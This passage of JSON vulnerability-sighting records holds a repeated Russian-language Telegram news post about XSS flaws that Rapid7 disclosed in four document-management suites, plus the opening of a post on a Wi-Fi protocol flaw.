\u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0437\u043b\u043e\u043c\u0449\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u043c\u0438 \u0432 \u043d\u0435\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438.\n\n\u0412 Rapid7 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043e\u0431 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c \u043e\u0444\u0438\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0431\u044b\u043b\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u043e \u0435\u0449\u0451 1 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430. \u041e\u0434\u043d\u0430\u043a\u043e \u0432\u0441\u0435 \u043e\u043d\u0438 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u0442\u044c \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438 \u0438\u043c\u043f\u043e\u0440\u0442\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438\u0437 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0438\u043b\u0438 \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0445, \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u0447\u0430\u0442\u044b \u0438 \u043f\u043e\u043c\u0435\u0442\u043a\u0438.\n\n#\u0425\u0430\u043a\u0435\u0440\u044b \n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-02-09T11:49:14.000000Z"}, {"uuid": "138e057e-cf44-490f-aead-2db1e8a4f102", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47414", "type": "seen", "source": "https://t.me/itsec_news/2163", "content": "\u200b\u2694\ufe0f \u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u0437\u0430 \u0440\u0443\u0431\u0435\u0436\u043e\u043c \u043e\u0444\u0438\u0441\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0436\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u0435\u0441\u044f\u0446\u0435\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u0445\u0430\u043a\u0435\u0440\u043e\u0432.\n\n\ud83d\udcac 7 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Rapid7 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u0432 \u0441\u0432\u043e\u0451\u043c \u0431\u043b\u043e\u0433\u0435 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u0440\u0430\u0437\u043d\u044b\u0445 \u043e\u0444\u0438\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445: LogicalDOC, Mayan, ONLYOFFICE \u0438 OpenKM.\n\n8 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS), \u0432\u043e\u0442 \u0438\u0445 \u0441\u043f\u0438\u0441\u043e\u043a:\n\nONLYOFFICE: CVE-2022-47412;\nOpenKM: CVE-2022-47413, CVE-2022-47414;\nLogicalDOC: CVE-2022-47415, CVE-2022-47416, CVE-2022-47417, CVE-2022-47418;\nMayan: CVE-2022-47419.\n\n\u0425\u0440\u0430\u043d\u0438\u043c\u044b\u0439 (\u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0439) XSS \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u043b\u0435 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f), \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u043c \u043f\u043e\u0441\u0435\u0449\u0435\u043d\u0438\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.\n\n\u041a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u044b\u0448\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0447\u0435\u0440\u0435\u0437 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0443. \u0416\u0435\u0440\u0442\u0432\u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0442\u0430\u043a\u043e\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438 \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0434\u0430\u0451\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0435\u0442\u044c\u044e.\n\n\u00ab\u0422\u0438\u043f\u0438\u0447\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u0431\u044b\u043b\u043e \u0431\u044b \u0443\u043a\u0440\u0430\u0441\u0442\u044c cookie-\u0444\u0430\u0439\u043b \u0441\u0435\u0430\u043d\u0441\u0430, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440, \u0432\u043e\u0448\u0435\u0434\u0448\u0438\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e. \u0410 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e\u0442 cookie-\u0444\u0430\u0439\u043b, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u0435 \u043d\u043e\u0432\u0443\u044e \u0443\u0447\u0451\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c\u00bb, \u2014 \u0441\u043e\u043e\u0431\u0449\u0438\u043b \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u044c Rapid7. \u0414\u0430\u043d\u043d\u0430\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0437\u043b\u043e\u043c\u0449\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u043c\u0438 \u0432 \u043d\u0435\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438.\n\n\u0412 Rapid7 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043e\u0431 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c \u043e\u0444\u0438\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0431\u044b\u043b\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u043e \u0435\u0449\u0451 1 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430. \u041e\u0434\u043d\u0430\u043a\u043e \u0432\u0441\u0435 \u043e\u043d\u0438 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u0442\u044c \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438 \u0438\u043c\u043f\u043e\u0440\u0442\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438\u0437 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0438\u043b\u0438 \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0445, \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u0447\u0430\u0442\u044b \u0438 \u043f\u043e\u043c\u0435\u0442\u043a\u0438.\n\n#\u0425\u0430\u043a\u0435\u0440\u044b \n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-02-09T11:49:14.000000Z"}, {"uuid": "195955a7-5535-4543-82bf-f9ef6fa56b8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47418", "type": "seen", "source": "https://t.me/itsec_news/2163", "content": "\u200b\u2694\ufe0f \u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u0437\u0430 \u0440\u0443\u0431\u0435\u0436\u043e\u043c \u043e\u0444\u0438\u0441\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0436\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u0435\u0441\u044f\u0446\u0435\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u0445\u0430\u043a\u0435\u0440\u043e\u0432.\n\n\ud83d\udcac 7 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Rapid7 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u0432 \u0441\u0432\u043e\u0451\u043c \u0431\u043b\u043e\u0433\u0435 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u0440\u0430\u0437\u043d\u044b\u0445 \u043e\u0444\u0438\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445: LogicalDOC, Mayan, ONLYOFFICE \u0438 OpenKM.\n\n8 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS), \u0432\u043e\u0442 \u0438\u0445 \u0441\u043f\u0438\u0441\u043e\u043a:\n\nONLYOFFICE: CVE-2022-47412;\nOpenKM: CVE-2022-47413, CVE-2022-47414;\nLogicalDOC: CVE-2022-47415, CVE-2022-47416, CVE-2022-47417, CVE-2022-47418;\nMayan: CVE-2022-47419.\n\n\u0425\u0440\u0430\u043d\u0438\u043c\u044b\u0439 (\u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0439) XSS \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u043b\u0435 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f), \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u043c \u043f\u043e\u0441\u0435\u0449\u0435\u043d\u0438\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.\n\n\u041a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u044b\u0448\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0447\u0435\u0440\u0435\u0437 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0443. \u0416\u0435\u0440\u0442\u0432\u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0442\u0430\u043a\u043e\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438 \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0434\u0430\u0451\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0435\u0442\u044c\u044e.\n\n\u00ab\u0422\u0438\u043f\u0438\u0447\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u0431\u044b\u043b\u043e \u0431\u044b \u0443\u043a\u0440\u0430\u0441\u0442\u044c cookie-\u0444\u0430\u0439\u043b \u0441\u0435\u0430\u043d\u0441\u0430, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440, \u0432\u043e\u0448\u0435\u0434\u0448\u0438\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e. \u0410 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e\u0442 cookie-\u0444\u0430\u0439\u043b, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u0435 \u043d\u043e\u0432\u0443\u044e \u0443\u0447\u0451\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c\u00bb, \u2014 \u0441\u043e\u043e\u0431\u0449\u0438\u043b \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u044c Rapid7. \u0414\u0430\u043d\u043d\u0430\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0437\u043b\u043e\u043c\u0449\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u043c\u0438 \u0432 \u043d\u0435\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438.\n\n\u0412 Rapid7 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043e\u0431 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c \u043e\u0444\u0438\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0431\u044b\u043b\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u043e \u0435\u0449\u0451 1 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430. \u041e\u0434\u043d\u0430\u043a\u043e \u0432\u0441\u0435 \u043e\u043d\u0438 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u0442\u044c \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438 \u0438\u043c\u043f\u043e\u0440\u0442\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438\u0437 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0438\u043b\u0438 \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0445, \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u0447\u0430\u0442\u044b \u0438 \u043f\u043e\u043c\u0435\u0442\u043a\u0438.\n\n#\u0425\u0430\u043a\u0435\u0440\u044b \n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-02-09T11:49:14.000000Z"}, {"uuid": "46f16c6f-bc0f-43c5-a051-1469b8943cb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47522", "type": "seen", "source": "https://t.me/itsec_news/2384", "content": "\ud83d\udce1 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0431\u0430\u0437\u043e\u0432\u043e\u043c Wi-Fi \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0442\u0440\u0430\u0444\u0438\u043a.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0444\u0443\u043d\u0434\u0430\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 IEEE 802.11 Wi-Fi, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432 